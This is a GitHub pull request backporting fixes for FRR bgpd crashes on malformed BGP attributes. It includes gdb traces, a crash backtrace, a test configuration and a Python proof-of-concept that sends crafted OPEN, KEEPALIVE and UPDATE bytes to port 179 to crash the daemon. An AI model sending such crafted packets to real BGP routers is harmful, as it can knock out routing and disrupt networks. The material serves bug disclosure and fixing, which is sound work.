bgpd: A couple more bgpd crashes on malformed attributes (backport #14645) #14654
Conversation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
![mergify[bot]](https://avatars.githubusercontent.com/in/10562?s=60&v=4){kind=small}
Avoid crashing bgpd.
```
(gdb)
bgp_mp_reach_parse (args=<optimized out>, mp_update=0x7fffffffe140) at bgpd/bgp_attr.c:2341
2341 stream_get(&attr->mp_nexthop_global, s, IPV6_MAX_BYTELEN);
(gdb)
stream_get (dst=0x7fffffffe1ac, s=0x7ffff0006e80, size=16) at lib/stream.c:320
320 {
(gdb)
321 STREAM_VERIFY_SANE(s);
(gdb)
323 if (STREAM_READABLE(s) < size) {
(gdb)
34 return __builtin___memcpy_chk (__dest, __src, __len, __bos0 (__dest));
(gdb)
Thread 1 "bgpd" received signal SIGSEGV, Segmentation fault.
0x00005555556e37be in route_set_aspath_prepend (rule=0x555555aac0d0, prefix=0x7fffffffe050,
object=0x7fffffffdb00) at bgpd/bgp_routemap.c:2282
2282 if (path->attr->aspath->refcnt)
(gdb)
```
With the configuration:
```
neighbor 127.0.0.1 remote-as external
neighbor 127.0.0.1 passive
neighbor 127.0.0.1 ebgp-multihop
neighbor 127.0.0.1 disable-connected-check
neighbor 127.0.0.1 update-source 127.0.0.2
neighbor 127.0.0.1 timers 3 90
neighbor 127.0.0.1 timers connect 1
address-family ipv4 unicast
redistribute connected
neighbor 127.0.0.1 default-originate
neighbor 127.0.0.1 route-map RM_IN in
exit-address-family
!
route-map RM_IN permit 10
set as-path prepend 200
exit
```
Reported-by: Iggy Frankovic <[email protected]>
Signed-off-by: Donatas Abraitis <[email protected]>
(cherry picked from commit b08afc8)
If we send a crafted BGP UPDATE message without mandatory attributes, we do
not check if the length of the path attributes is zero or not. We only check
if attr->flag is at least set or not. Imagine we send only unknown transit
attribute, then attr->flag is always 0. Also, this is true only if graceful-restart
capability is received.
A crash:
```
bgpd[7834]: [TJ23Y-GY0RH] 127.0.0.1 Unknown attribute is received (type 31, length 16)
bgpd[7834]: [PCFFM-WMARW] 127.0.0.1(donatas-pc) rcvd UPDATE wlen 0 attrlen 20 alen 17
BGP[7834]: Received signal 11 at 1698089639 (si_addr 0x0, PC 0x55eefd375b4a); aborting...
BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_backtrace_sigsafe+0x6d) [0x7f3205ca939d]
BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_signal+0xf3) [0x7f3205ca9593]
BGP[7834]: /usr/local/lib/libfrr.so.0(+0xf5181) [0x7f3205cdd181]
BGP[7834]: /lib/x86_64-linux-gnu/libpthread.so.0(+0x12980) [0x7f3204ff3980]
BGP[7834]: /usr/lib/frr/bgpd(+0x18ab4a) [0x55eefd375b4a]
BGP[7834]: /usr/local/lib/libfrr.so.0(route_map_apply_ext+0x310) [0x7f3205cd1290]
BGP[7834]: /usr/lib/frr/bgpd(+0x163610) [0x55eefd34e610]
BGP[7834]: /usr/lib/frr/bgpd(bgp_update+0x9a5) [0x55eefd35c1d5]
BGP[7834]: /usr/lib/frr/bgpd(bgp_nlri_parse_ip+0xb7) [0x55eefd35e867]
BGP[7834]: /usr/lib/frr/bgpd(+0x1555e6) [0x55eefd3405e6]
BGP[7834]: /usr/lib/frr/bgpd(bgp_process_packet+0x747) [0x55eefd345597]
BGP[7834]: /usr/local/lib/libfrr.so.0(event_call+0x83) [0x7f3205cef4a3]
BGP[7834]: /usr/local/lib/libfrr.so.0(frr_run+0xc0) [0x7f3205ca10a0]
BGP[7834]: /usr/lib/frr/bgpd(main+0x409) [0x55eefd2dc979]
```
Sending:
```
import socket
import time
OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02"
b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02"
b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00"
b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d"
b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01"
b"\x80\x00\x00\x00")
KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\xff\xff\xff\xff\x00\x13\x04")
UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff003c0200000014ff1f001000040146464646460004464646464646664646f50d05800100010200ffff000000")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.2', 179))
s.send(OPEN)
data = s.recv(1024)
s.send(KEEPALIVE)
data = s.recv(1024)
s.send(UPDATE)
data = s.recv(1024)
time.sleep(1000)
s.close()
```
Reported-by: Iggy Frankovic <[email protected]>
Signed-off-by: Donatas Abraitis <[email protected]>
(cherry picked from commit d8482bf)
|
unrelated failure, trying again |
2 tasks
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
This is an automatic backport of pull request #14645 done by Mergify.
Mergify commands and options
More conditions and actions can be found in the documentation.
You can also trigger Mergify actions by commenting on this pull request:
@Mergifyio refreshwill re-evaluate the rules@Mergifyio rebasewill rebase this PR on its base branch@Mergifyio updatewill merge the base branch into this PR@Mergifyio backport <destination>will backport this PR on<destination>branchAdditionally, on Mergify dashboard you can:
Finally, you can contact us on https://mergify.com